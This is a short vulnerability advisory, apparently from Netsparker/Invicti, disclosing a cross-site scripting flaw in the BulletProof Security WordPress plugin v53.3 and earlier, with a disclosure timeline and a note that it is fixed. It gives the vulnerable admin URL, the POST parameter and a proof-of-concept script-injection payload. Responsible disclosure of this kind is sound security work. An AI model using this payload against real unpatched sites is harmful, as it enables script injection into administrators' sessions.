Multiple XSS Vulnerabilities Identified in BulletProof Security

Information

Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in BulletProof Security
Affected Software: BulletProof Security
Affected Versions: v53.3 and possibly below
Vendor Homepage: https://wordpress.org/plugins/bulletproof-security/  
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-16-004

Technical Details

Proof of Concept URLs for XSS vulnerabilities in BulletProof Security v53.3:

URL: /wordpress/wp-admin/admin.php?page=bulletproof-security/admin/security-log/security-log.php
Parameter Name: user-agent-ignore
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001E32)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

15 Mar 2016 – First Contact
23 Mar 2016 – Vendor Fixed
09 May 2016 – Advisory Released

Solution

Patch released by BulletProof Security and announced here.

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

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